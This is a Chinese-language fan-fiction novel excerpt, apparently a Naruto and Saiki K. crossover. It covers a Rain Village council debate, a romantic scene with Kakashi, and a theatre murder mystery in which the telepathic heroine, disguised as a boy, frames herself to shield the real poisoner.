空气中凭空出现了一股压力,木叶的忍者还不觉得,但是雨影村的忍者都晓得栗子大人的能力。明白她若是这样说,那确实真有可能实现的。 可是随即他们又听见那在高台中端坐的身影如同玩笑一般说:“别开玩笑了,战争可不是儿戏,人命也不是。第一,我认为你不应该因为自己的想法以及你自己的期望,就不顾其他人的意愿,将所有人拖入战争的漩涡之中。第二,你不知道一件事,我,讨厌忍者。” 听到齐木楠子这番话,议事厅里所有人都露出震惊的神情,唯独坐在她身旁的泉奈,神色没有半点变化。 面具之下,楠子的神情十分认真,没有一丝玩笑的意思:“这一次,我不是在和大家说笑。在我看来,你们口中所谓的忍者荣誉、鲜血与厮杀,还有伸向他国的刀锋,不过是借着战争与百姓,满足一己私欲。 “按照这种逻辑,忍者就只是用来争斗的工具。这也是其他忍国对忍者的固有看法。只要这种看法不变,我就依旧讨厌这样的忍者。” 她语气平淡,如同在诉说一件小事,但这也确实是她的真实想法。 见过了现代社会的公平与正义,她怎么可能再向往野蛮时代一般的血腥呢? 楠子垂下了眼眸,声音逐渐转低:“我想做的,是把忍者变成和厨师、医生、教师一样的普通职业。忍者的使命不该是破坏与杀戮,而是守护。弥彦,你当初也是这么想的,对吧?” 坐在侧边的弥彦正听得入神,闻言便露出感慨的笑,“是的,栗子大人。只是我的想法,远没有您想得透彻……”他同样转头看向下方的瀚铁。 “瀚铁前辈,我的想法和栗子大人一致。我最初建立晓时的理念,也是想把和平带给整个忍界。可经历了这么多事,我才看清自己的无知和无力。 “这世上有栗子大人、泉奈大人、水门大人这般心怀仁善的忍者,也有不少人一心盼着纷争再起。而我的力量太过微弱,和你一样,我也把希望寄托在栗子大人身上。” 他顿了顿,神情变得坚毅,“但我们不能只顾及自己的期望,忽略其他人的想法。如果只想着自己,那便是傲慢。” 楠子听着倒觉得有趣,“呵,你是在说我傲慢?” 弥彦神情先是一紧,随即又放松下来,笑着开口:“如果这算傲慢,那我和栗子大人一样。从前我也试着劝说过山椒鱼半藏大人,最后反倒被他狠狠训斥了一顿。” 他的目光转向了山椒鱼半藏,这位年迈的忍者沉默片刻,缓缓开口:“我并不认同栗子大人的想法,弥彦的更是浅薄,但我也得承认,如今的雨隐村确实需要改变。” 他看向波风水门:“木叶的忍者,你怎么看?” 水门稍稍停顿,俊美的脸上露出一抹苦笑,“我可没想到,今天会聊到这些话题呢。作为木叶使者,很多话我不便直说。但以普通人的身份来说,我也期盼着您口中的世界能够到来。” 在场的忍者之中,或许有人觉得波风水门在说漂亮话,但是只有能够听到心声的楠子知道,这是他的实话。 这位杀人手段强硬,却心怀热情的忍者期待着雨隐村的变化。 这是因为木叶所背负的已然太重,无法轻易更改,亦或者是因为其他呢? 楠子正在思考着,就听见耳边传来一个低沉的声音。 “一定会实现的。” 众人诧异的目光齐齐投向忽然开口的泉奈,他却只侧过头看向楠子,“只要你努力走下去,就会实现。” 他的话语带着奇怪的重音,可楠子却明白他在说什么。 【既然怀抱着这样的期待,就赶快来雨隐 村吧。】 ‘喂喂,我可还有许多事没有弄清楚呢。’楠子转回了头。 她清楚自己的情况,就如同前两次任务的翻车,她会失误的地方简直数不胜数。而现在在这里所说出的话,也都只是一些暂时无法实现的想法而已。 她的目的也不是感动他人,亦或者说服他人,而是亲自聆听雨隐村忍者们的心声,了解他们对此事的想法。 这样的事不可多得,因为可不是每个人都会关心村子里的大事,也不会在同一时间进行这样深度的思考。 脑海中传来巨大的回声,那些回声逐渐交织,织就一幅名为“信任”的华美布料,那种柔顺几乎触手可及。 这算是有进步吗?他们所认同的,并不是和弥彦一样的理念,而是自己。 这样一看,那袭华美的布料,说不定也是束缚她的陷阱。 楠子随意想着,与众人讨论着忍者、和平之类的话题,却一点都不觉得烦扰。 这些事情,不会有人讲给普通的忍者听,连卡卡西这样的上忍,都几乎没有认真思考过。 她更因此觉得欣悦,因为没有人和卡卡西讨论这些,难道就有人会和木叶下忍齐木楠子,亦或者雨之国的“主人”栗子讨论这些吗? 要知道,斑爷爷是个崇尚强者为王的暴力狂,当年的泉奈她不算了解,现在泉奈大叔可是时不时就静默的锯嘴葫芦,从根本上来说,他们的理念也和她不同。 相反,能够和她产生共鸣的,反而是波风水门和弥彦所带领的晓。 及至最后,有人小声提醒今天会议的主题:“那么,究竟要怎么处理瀚铁的事呢?” 议事厅中就是一静。 按照之前的讨论氛围,自然不可能再以死刑处置这群人,但是也不可能轻轻放过。 而忍者们最严厉的处刑,除了死刑,就是那些会削弱忍者实力的极刑了。 “关于这件事,我也有话要说。” 楠子摆正姿态,目光望向前方,语气格外郑重:“有件事我只和泉奈大人提过,在这里,我再次重申一下。我,栗子会为大家提供支持,但绝不会参与不义的争斗。若是有人暗中策划阴谋,挑起事端,最终只会被我的雨隐村舍弃。” 她在“我的”二字上加入了重音,又轻轻笑道:“不,与其说是舍弃,不如说是剔除弊病,我也不总是那么宽容的,毕竟我可以安排给别人去做,希望在场所有人都记清楚这一点。” 说完,她低头看向呆立在下方的瀚铁,“你们大概还不清楚,你们策划的这场事端,本就是泉奈大叔的钓鱼执法。身为忍者,计划轻易败露,你们更该反省一下自己有没有能力谋划这些阴谋诡计才对。 “另外,这件事我们已经和木叶沟通完毕,也得到了对方的谅解。事件没有造成重大伤亡,我认为判处死刑并不合适。” 楠子看向山椒鱼半藏,像是在做出解释,山椒鱼半藏垂下眼眸,没有说话。 她再次转过头,仰着下巴说出最终的处置方案。 “我决定,给你们安排一个任务,那就是,在接下来一年里,你们每人必须卖出一千台家电。” 53.考察结束 “什么?!” 台下的忍者、包括瀚铁本人,全都一脸错愕。 议事厅内顿时响起一阵嗡嗡的议论声。 众人都清楚,家电产业如今是雨之国的支柱,可让忍者去做售卖的工作,实在太过离谱,对某些人来说,恐怕比杀了他们还难受! ‘要的就是这样的反应。’楠子轻轻点了点头,语气笃定:“既然是惩罚,自然要让你们去做最不情愿的事。卖出的一千台家电,其中利润,30%赔付给木叶受伤的忍者,对了,她叫什么来着?” “楠子,是齐木楠子。” “哦。”齐木楠子转回了脸,“另外60%上交给雨隐村,剩下10%作为你们未来任务的抵扣金。当然,这是你们不叛逃的情况下,如果叛逃……” 她顿了一下,就在大家以为她会说出“处死”之类的严重惩罚的时候,她面具上那变换的光屏上突然就出现了一个“^v^”的表情。 “如果叛逃,你们的债务就会移交你们家人的身上。子子孙孙无穷尽也,身为男人,身为忍者,如果做出这样的事,恐怕,也不用活了吧。” 少女的声音虽然闷然,但语调依旧轻松。 雨隐村忍者们的目光却都落在了最中间的那几个颓丧的人影身上,让他们如芒在背,如坐针毡,如…… 咳咳,总之,他们接受了这项惩罚,接下来没有别的事项了。 在宣告此次庭审结束之后,忍者们意犹未尽,走出去后讨论的声音却比在议事厅内时更加热烈。 也不必走远,就围绕在已经恢复成圆饼状议事厅的下方,三三两两,如同星火一般,就着那月色,诉说着自己的想法。 有的赞同,有的反对,有的却有更新颖的想法想要诉说。 楠子向下张望着,看着那充满着朝气的人群,嘴角也不由得泛起一丝笑意。 “这就是所谓的‘开智’吧?”搭话的是波风水门,他没想到“栗子”这位雨隐村的当家人会允许大家公开讨论这样的事。 哪怕木叶的风气在忍者村中已经称得上开放,可阶级依旧存在,更不可能让普通忍者去思考这些。 如同“栗子”所说,在一些人眼中,忍者,真的只是工具而已。 想到这里,他的神色也难免沉寂,连那双湛蓝色的眼眸也变得忧郁。 “算不上吧。”楠子知道对方的想法,冲着对方露出了笑容,“我也只是想借此机会,了解一下大家的想法而已。而且,雨隐村的根基不深,还来得及转向,无论是怎样的‘材料’,都得要回收利用,何况他们只是没想清楚而已。” 望着那面具上怪异的符号,水门苦笑着摇了摇头。 他虽然不是暗部的忍者,但也知道根组织和暗部的一些任务,就是杀死有叛逃意图的同村忍者。 可是在雨隐村,“栗子”却采用了这样宽松的方式,两厢对比之下,竟然显得木叶垂垂老矣了。 可是,现在的他虽然是木叶的英雄,在忍者之间也是响当当的人物,却远远无法撼动那些根深蒂固的旧俗。 【我……还需要努力啊。】他这样想着,面色却丝毫不变。 再说了几句,他便告辞离开,将这块场地留给了雨隐村的众人。 议事厅外的人群已经逐渐散去,他们都赶着要将今日看到的“新鲜事”告诉家人,或者准备到居酒屋之类的地方聊个通宵。 楠子的目光转过一圈。 泉奈、弥彦等人和山椒鱼半藏,这就是现今雨隐村所倚仗的忍者。 至于斑爷爷,那可是最终兵器,不能轻示。 ‘团藏和大蛇丸一般是怎么处理这种事来着?’ 想了想,她率先开口道:“半藏大人,这次推翻了你的处置,希望你不要介意。” 山椒鱼半藏只是摇头,作为他这样的败军之将,无论是“栗子”,还是泉奈,都给足了他脸面,哪怕此刻他心生嘲讽,可经过这些年,他心中也有一两分不确定。 万一,“栗子”他们真的做成了呢?万一,雨隐村真的能够好起来呢? 楠子瞬间明白他的想法,微一点头,又看向了弥彦,“这次的事件,已经记录下来,如果能剪辑好,就让出任务的忍者也看看,之后,要注意舆论的导向。” “是!栗子大人!”弥彦和晓的几人兀自兴奋。 这几年间,雨隐村是有所发展了,但晓的事业几乎停摆,只局限在了雨之国的周边。 因为有了雨隐村这样的牵挂,他们更不可能随心所欲地插手其他国家的事务。 可是,“栗子”大人的意思难不成是他们可以逐渐向着外界宣扬他们的理念了吗? “评估之后,如果合适的话,也可以作为节目播出,但是……雨隐村还是太过脆弱,我希望你们的步伐不要太快,至少要等一等大家的实力都有所提升。” 弥彦几人的神情立马变得郑重,说出了他们的计划和想法。 见那计划的步子迈得不算太大,楠子不再多说,众人也不再多问,于是议事厅又只剩下了泉奈和她。 微风吹拂起发丝,她脱去了属于“栗子”的稳重外壳,仰头去看泉奈:“你的测试结果如何?” “……不甚满意。”泉奈闷然的声音传来,“你的呢?” “十分满意。”楠子笑意盎然。 怎么会不满意?雨隐村可是人心向好呢! 泉奈似是点了一下头,可是像他这样的大叔,似乎总有办法惹人讨厌。 “就我的观察,你作为‘栗子’的时候,似乎更开心一些。” 楠子微微一怔,嘴角随即撇了撇。 确实是这样,以“栗子”的身份行事,她可以随心所欲。 可身为齐木楠子,身上背负着的可不是“最强超能力者”的名号,而是木叶孤儿院的期待,她可没法想说就说、想做就做。 而且,她也始终记得,自己在这个世界最初的落点。 面具下,她的目光扫向远处,一丛灰白色头发,在她眼里格外清晰。 泉奈大叔似乎也注意到了,沉默了几秒,断然开口:“你要是因为他就不回来,我会打断他的腿。” ‘啊?’楠子的嘴角狠狠地抽搐了一下,“泉奈大叔啊,你可别说这种像老父亲一样的话,一点都不适合你。……何况,他只是我的至交好友而已。” 有些话,她可没敢说呢。 就现在她“”出的心态来看,泉奈原本对于兄长斑还有几分小心和尊敬,现在这几年已经完全变成了爹对不听话的儿子了啊。 两人中间隔着几十年,本来就有些生疏。 斑爷爷看着年长,实际上只长了年纪,见到弟弟逐渐恢复,连最后的事都不担心了。 而泉奈大叔死后,在清醒的几十年中,不是看着千手扉间处理公务,就是和他一同上战场。 扉间死后,又在各个华贵府邸盘桓,听到的,看到的,都比这位不与人深入交往的兄长多的多,此时心累也是正常的。 楠子每每想要就此打趣,都觉得自己如果真的说出来,那么泉奈大叔绝对会撂挑子给她看才对。 她干脆绕过了这个话题,想了想,又道:“对了,麻烦帮我打听一下银之都靠谱的剧团。” “打听这个做什么?” “我要学演戏。”楠子木着脸说着,毫不意外感受到了泉奈怪异的“目光”。 干嘛这样看她啦,她当然不可能说出自己接连出糗的事。 泉奈大叔不知道她的心灵感应,自然不懂她的纠结。 心灵感应并非万能,她本人也一样有做不到的事。 比如在挚友旗木卡卡西面前伪装,他是那样敏锐,又是那样关注自己。 如果不是每次都打上了十层滤镜,她所做的又是普通人无法想象的,恐怕她现在早就已经掉马了也说不定! 她这样想着,旁边的泉奈却已经在心里吐槽了一篇长作文,可他只是说:“实力足够强的人,根本不需要靠演技。” “可我,是已经勾住了雨隐村重要人物的双面女间谍嘛,自然需要。” 楠子故意道,她还在责怪泉奈让长门说什么“一见钟情”。 这次来之前,她可还没想到,连雨隐村的忍者都在传这样的桃色八卦呢! 以“栗子”身份来的时候,又没人会特意去想这些。 结果这次以“楠子”的身份一来,大部分心声都是“啊,长门的小女友来了”。 她尴尬得脚趾都要扣地了,可也没办法。 或许是觉得理亏,泉奈一时间静默下来,楠子也见好就收。 她抬眼望向窗外,雨隐村外矗立着一栋栋深色楼房,颓败枯朽,俯视着热闹的雨隐村。 自己的事情被挤到了一边,她忽而若有所思。 泉奈大叔只考虑忍者的事,弥彦也是如此。 可是最近的考察,反而让她想起了那些普通的工人们。 “如果可以,就把雨隐村的结界再向外扩一些吧,这一次,让这里的忍者来做。” 泉奈沉默答应。 两人就站在议事厅里,静静看着楼下的人群。 随着月儿高升,人们渐渐散去,如同归巢的飞鸟,只是想来今晚的雨隐村,会格外喧嚣吧。 ----------------- “真没想到,雨隐村这场庭审,聊的竟是这些内容。”楠子故作恍然,对面的卡卡西也没有在意她那有些僵硬的神情,还在思考一些别的事呢。 ‘呼……还好此时此刻没关注我的神情呢。’ 楠子心里清楚,她的演技并不好,平日里几乎总是面瘫着一张脸,才没人察觉破绽。 卡卡西原本应该会关注她的,可他现在正心虚没有为楠子争取更大的利益,所以才会低下头来,没去看她。 往后类似的情景只会越来越多,所以她才要下定决心学演戏啊。 她看 了一眼正在摆弄杯子的卡卡西,听见他说:“老师也说,雨隐村这次改革的决心很足。他打算把庭审的影像资料带回木叶,交给火影。” “不让别的忍者们知道吗?”楠子撑着脸,好整以暇地看着卡卡西。 她可是知道,这资料一旦到了三代手中,那个老头迫于压力,恐怕只会将影像封存起来。 哪怕内心里翻江倒海,卡卡西依旧没有接话。 楠子也能理解。 齐木楠子只是下忍,他就是觉得讨论这些于她无益。 就算是已经听了野乃宇的诉说,也明白了楠子同样是忍者,他就是想要保护她。 尤其这一次她受伤,原本已经有所改变的想法,又逆行了回去。 楠子挑挑眉,干脆也看向了自己手中的资料,随口问道:“你和带土的训练,进行得怎么样了?” “带土进步很明显。不过老师说,要精进写轮眼,最好请宇智波一族的族人指点。” 卡卡西没有把话说完。波风水门已经在考虑动用人脉,帮忙联系宇智波的族人教导带土。 楠子读到他心底的想法,心中也是轻松。 她之前问过泉奈大叔,带土这次开眼,有没有他的帮助。 泉奈大叔就像是看傻子一样“看”着她,“那样有什么用?” “那你们那个年代,怎么保证族人开眼呢?”她有些好奇。 泉奈只是沉默,半晌后,像是不知道为什么这么简单的事还要问一般,只吐出三个字: “靠天赋。” 楠子当时嘴角都抽了一下。 行吧,和你们这些资质怪没话好聊了。 时间回到现在,雨隐村一行大部分事情都已经处理妥当,她拿着资料随手修改标注,准备着给木叶的资料。 对面的卡卡西起身离开,她也没有多问。 没想到才过五六分钟,房门就再次被推开。 “卡……”她话音还没落下,头顶忽然一沉。 头上似乎被戴上了什么东西,她鼻尖轻动,才发现,那或许是个花环。 楠子愣在原地。 就这么短短几分钟,卡卡西就从三楼跑到顶楼摘花、编成花环,就为了给她带上? ‘实在……没必要这样耗费查克拉吧。’她心里慢吞吞想着,可心底升起的暖意难以作假。 她抬手取下花环,看着上面的玫瑰、太阳菊,还有几种不知名的小花。 几种香气混合在一起,仿佛在房间内唱着欣悦的歌,那莫名契合的色彩,在楠子眼中也变作了美丽的图景。 她的嘴角勾起,笑容如同清甜的诗,“很好看。” 卡卡西重新坐回桌边,黑曜石般的眼眸一眨不眨看着她,嘴角也慢慢扬起,“确实好看啊。” 【果然,送花,有用。】 ‘呀嘞呀嘞,这是想通了什么,准备更换相处模式了吗?’ 她的手指轻轻抚在了那柔嫩的花瓣上,抿了抿唇,轻声说:“对我来说,眼下最宝贵的就是时间,我可不会把精力花在和帅哥谈恋爱上。” 【她说我是“帅哥”吗?】 楠子听见了卡卡西的心声,看见他眼睛都亮了起来,可她还有一句话没说。 曾经给予她这样美好的心灵和纯粹的爱,就算卡卡西日后喜欢上了别人,她也不会怪他。 这是齐木楠子能给予的最高的祝福,但这样说出口,卡卡西恐怕会很受伤吧。 她在心底叹息,而后重新调整了角度,把花环戴回头上,看向了卡卡西。 “别多想,看你最近一直很辛苦,让你开心一下而已。” 她这样说着,就见到卡卡西那双黑曜石般的眼睛逐渐睁大,而后盈满了笑意。 他轻轻拉扯着面罩,不必用透视,楠子都知道他的脸一定是红了。 “那么,我……真的很开心。”他慢吞吞地说。 ‘是啊,我知道,只是你不要开心到连孩子的名字都脑补出来就好了。’ 楠子嘴角不由得翘了翘,旁边传来“咔嚓”一声。 御手洗红豆举着一个方形盒子,那盒子里缓缓吐出一张相纸,她笑得格外雀跃。 “卡卡西前辈、楠子学姐,快看!这是雨之国的新产品,叫拍立得。” 她甩了甩手里的相纸,画面慢慢变得清晰,看着卡卡西笑得狡黠,“卡卡西前辈,你教我一招忍术,我就把这张照片送给你,好不好?” 相纸上,正是卡卡西和楠子同框的画面。 卡卡西一愣,立马起身冲了过去。 “快把照片给我!” “才不给呢。” 两人跑出了门。 楠子看着两人,想了想,抬手变出一张一模一样的相纸。 画面中,她和卡卡西分坐两边,卡卡西眼中的,确实是笑意。 她也不禁勾了勾唇角。 “没错啊,照片里的人,确实很帅气呢。” 54.杀人案件 某年某月某日,银之都,壁花剧场。 旗木卡卡西觉得自己倒霉透顶。 明明是在休假当中,却因为前一个任务的距离比较近,就被老师派到了这里,看望他正跟从纲手大人学习的队友野原琳。 不是说他不想见到队友,但是在这敏感的时候,明明应该是派带土前来才更合适啊。 见到了也就算了,可没想到,纲手大人竟然和人打赌,将野原琳和他一同“输”给了银之都壁花经纪公司的女老板。 输了也就输了,他到底也是诚实的忍者,但是为什么壁花剧场就偏偏发生了杀人事件,又要由他这个上忍来担任“侦探”这个角色呢? “啊,如果小帅哥你是上忍的话,应该很快就能看出端倪了吧?”抱着猫的老板风韵犹存,目光流转之间,带着金戒指的手还在揉弄那白猫的皮毛。 “哈哈,老板,卡卡西虽然是上忍,但是这到底是杀人事件,我们只能提供参考意见啊。”野原琳苦笑着打着圆场。 几月未见,少女竟然越发开朗自信了,当然,她的实力也有所提升。 “呵呵,最好还是由你们来解决呢,”手指抚弄着猫咪的下巴,老板似是不经意道,“要知道,娱乐圈的秘密可是很多的,如果……被警察查到了些什么,纲手大人的债务,哦吼吼吼~你们是忍者,肯定懂得吧?” 旗木卡卡西和野原琳对视了一眼,不由得都是苦笑。 “好吧,那我们……就勉为其难试试吧。” 虽说是“勉为其难”,但卡卡西无疑颇有自信。 首先,剧场里的人都是普通人,遇到杀人这样的大事,说不定吓一吓就会露出破绽。 其次,以琳的医疗水平,足以检验出死者的死因,甚至能够追溯源头。 再次,他的通灵兽忍犬帕克鼻子可比普通的狗灵多了,按理说一闻就能锁定凶手。 最后,楠子很喜欢侦探推理相关的图书和剧集,托她的福,更喜欢言情的卡卡西也看过不少。 【之后,就将这里发生的事,讲给楠子听吧。】 他这样想着,脑海中顿时出现一幕。 楠子微微睁大眼,白皙柔嫩的手微微掩住嘴,“卡卡西,你居然那样快就勘破了案件吗?真的好厉害。你知道的,我最喜欢侦探了,所以,我……” “咳咳。” 卡卡西回过神,就见到野原琳冲他眨眼的样子。 “别走神啦。”她无声说着,说完,就露出了体贴的笑容,继而卡卡西也有些熨帖。 这就是琳啊,他值得依赖的队友。 卡卡西感慨着,目光扫过面前剧场里或惶惑、或紧张的工作人员。 这里俊男美女很多,但还有一个看起来十三、四岁的少年,亮紫色头发,带着绿色墨镜,面无表情,潮到吓人。 至于帅的程度,倒是几乎和他不相上下,只是卡卡西总觉得对方的面容有些熟悉。 不知为何,他身上酒气熏天。 【明明应该没到饮酒的年龄,难不成是被霸凌了?】 他直直望着对方,注意到他的视线,那少年就自然地移开了目光。 可不知道为什么,卡卡西就觉得对方的心情,估计不怎么好。 【应该是错觉吧?】虽然这样想,旗木卡卡西却还是在意了几分,问导演道砚:“那边那个叫什么?他也是这里的工作人员吗?” “啊,那是楠雄啊,齐木楠雄。”道砚说着,就见眼前的两个少年忍者面露惊讶。 “什么?你说他叫齐木楠雄?” ———— 究竟“齐木楠雄”为什么会出现在这个世界上,还得将时间稍微向前拨弄。 当日,早上10点。 这里是观众席后方暗处的回廊上,正是上午检查设施的时候,空旷的剧场中,只有舞台亮着灯,斜斜照了过来。 楠子……不,楠雄就着那一点光线,看着眼前的剧本,嘴角不自觉地带出了一点笑意。 “芳朵前辈,这个剧本,实在写得太好了。” “是、是吗?”厚重的头发压住了一张平平无奇,只剩下一点儿清秀的脸,名叫“芳朵”的女人按了按眼镜腿,有些不好意思,“这个剧本写出来后,我、我第一次给别人看,楠、楠雄,你真的觉得很好吗?” “是的,我想,只有心思纯净的人,才能写出这样的剧本吧。”齐木楠雄抬起了眼,欣赏的目光几乎不加掩饰,像是盯着珍宝一样,看着眼前的女子。 感叹不由得流泻在唇边,“真的是,太灿烂了。” 更重要的是,这份欣赏,不仅仅是对于这份剧本的,也是对着这个可怜女人的。 芳朵又舔舔干燥的嘴唇,“楠雄,这个剧本,我、我想托付给你,可以吗?” “嗯?”楠雄已经察觉出了些不对,蹙起眉,“芳朵前辈,你说的托付是?” “就是……”芳朵正想说话,舞台那边传来重物落地的声音,继而就是尖叫。 楠雄循声望去。 舞台上巨大的道具铁山上正躺着一个穿着白色戏服的“忍者”。 “噗通”一声,旁边的芳朵软倒在地,神色惊愕,“怎、怎么会是……” 楠雄神色变换,最终,声音还是低了下来,“不是河星前辈。今天他肚子痛,是真悟前辈代替他上场。” 芳朵猛地扭过头,方才失焦的瞳孔慢慢聚拢,“是真悟?!真的?!” 楠雄默然点头,芳朵努力地撑着围栏站起,仔细辨认,竟然似乎也隐约看到了春风真悟那较为纤细修长的身体,而后不由自主地哭笑起来。 “呵、呵呵!我做到了,我做到了。”她念叨着,又像是想起了什么,紧握住了楠雄的手,“楠雄,这个剧本,你一定要收下。我、是我杀了真悟!他是被我毒死的!我去自首,但我的剧本……楠雄……” 她翻来覆去地说着,抓住楠雄的手不住地颤抖。 ‘唉……’楠雄在心底叹息一声,目光自芳朵惶然的脸上,划过底下数个同样震颤的人。 脑中思绪如闪电快速闪过,他终于强硬地按住芳朵的肩膀,压低了声音:“芳朵前辈,你要振作起来。” 芳朵看着面前十三、四岁的少年,神色惶恐,“可、可是……” “芳朵前辈!”楠雄沉声打断了芳朵错乱的思绪,“不是还要实现自己的梦想吗?不是还要攒钱吗?” 他的声音逐渐轻悄,芳朵眼中的泪水却越来越多,“可是,可是我……” 楠雄此刻试着露出一个笑容,“没事的,芳朵前辈,都交给我吧。” “不行,你还是个孩子,我……” “芳朵前辈。”楠雄再一次打断,只是这一次,他低声说出了一个名字。 芳朵的眼睛猛地睁大,泪水也更加汹涌,此刻眼前的少年,似乎已经不只是个男孩。 她按照对方的吩咐,颤抖地递出原本贴身藏着的毒药瓶,就见对方一笑。 “呵,居然是‘三刀两毒’。” 芳朵有些哑然,就见到昏暗回廊中,楠雄的眼睛亮得出奇,“相信我,就……按照我说的去做吧。” ----------------- ‘我的名字是齐木楠子,是世界最强的超能力者,但有一天,为了隐姓埋名,练习演技,我化身齐木楠雄,加入剧团。身体虽然是男性,但是超能力依旧,今天的我,不是名侦探,而是凶手!’ 在脑海中播放着和另外一个世界里侦探动画片相似的片头语,楠雄心里倒是轻松。 他本来就喜欢看推理,又兼具备读心的能力,就像他曾经幻想的一样,只要出现在案发现场,他第一时间就能得知凶手是谁。 但是,这一次,他要保下凶手,谁让他也觉得春风真悟真的该死呢? ‘反正楠雄也只是个假身份, 把凶手之名揽在自己身上,而后逃之夭夭,这样,也不会影响到剧团吧?’ 虽然只在这剧团断断续续呆了两三个月,但他也确实喜欢这里的人和氛围。 这个世界里没有监控,连DNA检测都还没有出现,只要按照他的剧本将案件设置完毕,那任谁来看,他楠雄都应该是凶手才对。 心中哼着歌,他将毒药瓶上芳朵的指纹抹去,按上了自己的,随手将那毒药瓶放入了自己的包。 他转头看向了休息室的一处柜子,将手按了上去,“看”到柜子里面的东西改变了形状。 而后从另外一个隐蔽的角落拿出一瓶酒,看了看标签,他转身走了出去。 “额,是楠雄啊,你、你怎么在这里?”道具师稻具紧张地拉扯着自己的衣袖,脸上的肌肉几乎是有几分抽搐。 楠雄笑了笑。 是的,经过这两三个月的训练,他已经能够正常地笑了。 “我只是替导演拿点东西。”楠雄比了比手中的酒瓶。 导演就好这一口,想必这酒在这种时候也能安抚他紧张的神经。 楠雄想着,就见前面走廊的暗处有一点火光一明一暗。 “楠雄?”化妆师花庄正依靠在墙壁前抽烟,见到是他,抬脚就将被她抛下的烟头踩灭,虎着脸道:“啧,酒?楠雄,我告诉你,可不能沾染上烟酒!那样可不讨女人喜欢!” 楠雄看着她的唇钉、耳钉、烟熏妆和已经透着红血丝的眼睛,点了点头,“嗯,我不会的。” 他与花庄擦身而过,随手将对方口袋里的口红拿走。他速度极快,花庄衣服又宽大,根本没有察觉。 在洗手间外,他撞到了这部剧的女演员雁元。 “要死啊你!”雁元捂着腰边的小包,神色凶狠。 “抱歉。”楠雄仰着脸说着,雁元张了张嘴,道:“快滚吧,别在这里碍眼!” “哦。”楠雄看着雁元匆匆走远。 走到舞台侧边,他瞄了眼上方的威亚绳断裂处,以及死者春风真悟身上的那一节,那绳子自己就开始风化做旧,给自己上妆。 最后,他穿过舞台侧面的阶梯,叫道:“导演,要喝酒吗?” “嗯?啊……是楠雄啊。”光头的导演道砚脸颊抽搐了一下,“这个时候,喝酒吗?” 他盯着那标签,捏紧了扶手。 “是啊,我不知道是不是要庆祝一下,所以就拿酒来了。”楠雄一本正经地说。 道砚的神色和缓了一些,目光又落在了死不瞑目的真悟身上。 “是啊,喝酒,恐怕是最后一次了。” 他说着,想要站起身,脚下却像是踩着棉花,只好摊在那里叹气,怔了半晌,说:“哎,老板说,等会会让忍者过来查看,而后直接报给条子那边。” “忍者?忍者也能当侦探吗?”楠雄意外。 道砚不高兴地瞥了他一眼,“你忘了我们这部剧叫什么吗?《推理忍者》!忍者怎么不能当侦探?!” “哦。” 见到楠雄不以为然的模样,道砚又说:“那可是木叶的忍者啊!木叶!还是上忍!” 木叶?上忍? 楠雄的眼皮一跳,忽而听见外面有人跑进来的声音。 “道砚先生!老板说的忍者到啦!是两个少年!” “少年?”道砚的腿脚似乎挺直了一些,“快!快点去迎接,楠雄!你也来……额,你这是怎么了?居然还能在这摔倒?” 道砚看着摔倒在地的楠雄,踏前了几步,检查他有没有被玻璃扎到,发现他只是被酒瓶里的酒淋了满头满脸,几乎满心都是无语,连方才的恐慌都忘记了,愣愣盯着地上的酒液失神。 “酒……酒……你这是……” “道砚前辈,让人拖干净吧,”楠雄努力撑起自己摔倒在地的身体,露出一个挣扎的笑来,“抱歉,我……只是太·高·兴·了而已。” 55.名侦探的出场 齐木楠子,哦不……楠雄不知道自己的运气怎么会那么背。 经由雨隐村摄像机售卖的路子,他找到了一个极靠谱的剧团,已经就演技方面学习了一段时间,而后又在这里认识了不错的前辈。 明明几件事在一起,应该很开心的。 可是,已经在准备逐渐脱离剧团的他,偶尔过来帮忙那么一次,居然就遇到了复杂的凶杀案。 遇到了其实也没关系。他很喜欢推理,也不介意在现实里出演这样的侦探剧目。 而且,不运用超能力,也不用杀人,就能帮助其他人,不是很好吗? 谁能想到,“侦探”居然是熟人呢? ‘真是警惕啊。’只不过视线多停留了几秒,就发现了他的注视。 他也不禁想,这次这么急就离开,原来是要见队友吗? 倒也不是说某个最强超能力者会吃醋,只是他的心底到底生出了些许异样。 ‘程度上来说,就像是闻到了放了几天的纳豆饭吧?’ 楠雄正品评着自己难得升起的一点特殊情绪,就见面前出现了两张熟悉的人脸,眼皮不禁一跳。 “你叫齐木楠雄?”【近看,果然更像了啊。】野原琳仔细打量着眼前的人,卡卡西也直勾勾盯着他。 ‘还好最近我练习了演技。’楠雄止住了想要抽搐的唇角,镇定道:“是的,想要签名照,可是没有的。” “啊?哦,你是明星吗?哈哈哈。”琳干笑道。 “不是哦,楠雄只不过是个练习生而已,连舞台都上不去呢。” 穿着一身风衣,腰肢纤细的女演员雁元插话进来,“不要那样和忍者大人说话,小心被打哦。” 楠雄肃着一张脸,“不会有女人舍得打我这张帅气的脸的,唯独这一点我可以确认。” “啧,臭小鬼。”雁元呲了呲牙,可那神情反而让她多了几分娇俏。 “算啦算啦。”道砚扯住了雁元,对着卡卡西和琳说,“楠雄是这几个月才来的,一直都在剧组打杂,这件事,应该和他没什么关系。” “哦。”琳说着,余光却扫向了沉思的卡卡西,只见对方微一撇头,也抿抿唇,笑了起来,“没什么,我们只是看到了同龄人,有点意外而已。” ‘骗人。明明两个人都很想问我认不认识齐木楠子吧。’楠雄木着脸。 是他大意了,以为在遥远的银之都,也用男性的身份学习,就不会有人认出来,结果却忘了,忍界总共也就那么大。 ‘不过,来的居然是卡卡西,真是不凑巧。’ 卡卡西十分敏锐,琳也仔细认真,楠雄方才也只是玩笑一般地毁灭了证据,如果卡卡西得出了“凶手是齐木楠雄”以外的结论,他也会很为难啊。 果不其然,两个合格的忍者立马排空了思绪,开始调查。 “琳,你先去勘验一下现场,我和大家了解一下情况。”卡卡西说着,看着琳应声后走远,转向了在场的几人,“能先说一下,死者的情况吗?” ‘来了。’楠雄眼镜下目光一闪,‘这就是案发情况的讲解时刻啊!’ 剧场的人员开始讲述事件经过。 “舞台上的死去的人叫春风真悟,他是《推理忍者》这部戏男主演的B角。早上只是进行例行的粗排,检查各种道具、设备、服装,为晚上的演出做准备。今天原本是河星前辈演出,但是不知道为什么,他好像肚子不舒服,着急去了医院,所以,只能由真悟来演了。”导演道砚说。 “……我按照每一次的要求,将男演员吊上去,接下来,他就会从那边出场,落在道具山的前方,然后就是打光,那一幕会超级帅哦!但是、但是没想到,绳子、绳子居然断了!这、这应该是意外吧?!”道具师这样说。 “不!是有人动了那个道具山,山上的刀被换上了真刀,他一落下来,就死了啊。”同一幕的雁元捂着胸口。 